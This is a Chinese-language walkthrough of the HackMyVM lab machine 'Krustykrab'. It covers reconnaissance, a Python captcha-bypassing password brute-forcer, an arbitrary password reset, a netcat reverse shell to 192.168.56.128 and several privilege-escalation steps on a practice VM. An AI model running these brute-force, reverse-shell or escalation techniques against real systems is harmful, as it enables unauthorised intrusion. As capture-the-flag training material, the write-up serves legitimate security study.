夜风Sec
,致力于分享各种工具和学习记录,与师傅共同进步
镜像资源
网盘链接:https://pan.quark.cn/s/04e93700a1f1
官方网站:https://hackmyvm.eu/machines/machine.php?vm=Krustykrab
信息收集
netdiscover & nmap
sudo netdiscover -i eth1 -r 192.168.56.0/24
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:0a 1 60 Unknown vendor
192.168.56.100 08:00:27:f4:ac:1a 1 60 PCS Systemtechnik Gm
192.168.56.132 08:00:27:7c:ee:46 1 60 PCS Systemtechnik Gm
nmap --min-rate 10000 -A 192.168.56.132
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 f6:91:6b:ad:ea:ad:1d:b9:44:09:d8:74:a3:02:38:35 (ECDSA)
|_ 256 b6:66:2f:f0:4c:26:7f:7d:14:ea:b3:62:09:64:a7:94 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.62 (Debian)
80端口是一个建站的默认页面,其他没任何信息
目录爆破 & 注释信息
dirsearch、dirb、gobuster、feroxbuster
爆破目录都没有结果
在网页的源码中有一个注释信息 -> 访问/finexo
-> 找到信息点
dirsearch
dirsearch -u http://192.168.56.132/finexo/
[22:22:35] 200 - 520B - /finexo/.idea/
[22:23:05] 200 - 0B - /finexo/config.php
[22:23:08] 301 - 327B - /finexo/dashboard -> http://192.168.56.132/finexo/dashboard/
[22:23:08] 302 - 0B - /finexo/dashboard/ -> ../login.php
[22:23:14] 301 - 323B - /finexo/fonts -> http://192.168.56.132/finexo/fonts/
[22:23:23] 200 - 1KB - /finexo/login.php
[22:23:24] 302 - 0B - /finexo/logout.php -> login.php
[22:23:52] 200 - 414B - /finexo/uploads/
[22:23:52] 301 - 325B - /finexo/uploads -> http://192.168.56.132/finexo/uploads/
有登录框 -> 结合首页TEAM
中的成员
SpongeBob、PatrickStar、Squidward、Sandy
测试登录时 -> 回显不一样 -> 可以确定存在 SpongeBob 用户
需要验证码 -> 验证码来源于js请求
信息泄露 & 爆破
查看Js文件的时候 发现有加密密文 -> JsFunck解密
验证码来源于接口(非图片, 就是返回验证码字符串) -> 用字典爆破
https://www.dejs.vip/2jsFuck
functiongenerateCaptcha(){
$characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
$code = "";
$seed = time();
mt_srand($seed);
for ($i = 0; $i < 4; $i++) {
$code .= $characters[mt_rand(0, strlen($characters) - 1)];
}
$_SESSION['captcha'] = strtolower($code);
return $code;
}
import requests
captcha_url = 'http://192.168.56.132/finexo/login.php?action=generateCaptcha'# 验证码url
login_url = 'http://192.168.56.132/finexo/login.php'# 登录框
for password in open("E:\OneDrive\桌面\rockyou.txt", 'r', encoding='utf-8'):
session = requests.Session() # 保存状态 - 保证此次登录的验证码 是我们所获取到的
res = session.get(captcha_url)
captcha = res.text
data = {
"username": "SpongeBob",
"password": password,
"captcha": captcha
}
res1 = session.post(login_url, data=data, verify=False)
if'Wrong Password'notin res1.text:
print(f"Password found: {password.strip()}")
break
后台
SpongeBob:squarepants
功能点:编辑个人信息 - 文件上传
经过测试, 无论上传什么, 最后都会加工成 png后缀
抓包,
发现可以修改任意用户的密码
在收件箱中有其他用户的用户名
管理员 & GetShell
Administratro:admin
登录进去有命令行 -> 反弹shell
nc -e /bin/sh 192.168.56.128 8888
nc -lvvp 8888
python3 -c 'import pty; pty.spawn("/bin/bash")'
权限很低,需要直接提权
提权
www-data -> KrustyKrab SUDO
sudo -l
Matching Defaults entries for www-data on KrustyKrab:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,
use_pty
User www-data may run the following commands on KrustyKrab:
(KrustyKrab) NOPASSWD: /usr/bin/split
https://gtfobins.github.io/gtfobins/split/#sudo
KrustyKrab -> spongebob
sudo -l
Matching Defaults entries for KrustyKrab on KrustyKrab:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin,
use_pty
User KrustyKrab may run the following commands on KrustyKrab:
(spongebob) NOPASSWD: /usr/bin/ttteeesssttt
说是要输入配方的顺序,(该靶机的背景就是海绵宝宝),搜索
底部面包 肉饼 生菜 奶酪 洋葱 西红柿 番茄酱 芥末 黄瓜 顶部面包
spongebob -> Squidward
key1 key2.jpeg note.txt
两个md5值拼接之后再进行md5
Squidward:7ac254848d6e4556b73398dde2e4ef82
Squidward -> root
家目录下有suid权限的文件,通过scp命令,弄到本机上,然后反编译
路径劫持提权
总结
入口点: 注释信息
验证码的来源 -> 弱口令 -> 通过代码爆破 -> 进入后台
功能点分析 -> 图片上传和发送邮件( 个人信息可以修改密码[修改任意用户密码] ) -> 修改管理员密码
管理员身份有命令执行 -> Getshell
提权
横向移动
www-data -> KrustyKrab SUDO
KrustyKrab -> spongebob SUDO
spongebob -> Squidward
Squidward -> root SUID
原文始发于微信公众号(夜风Sec):HackMyVM - Krustykrab
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论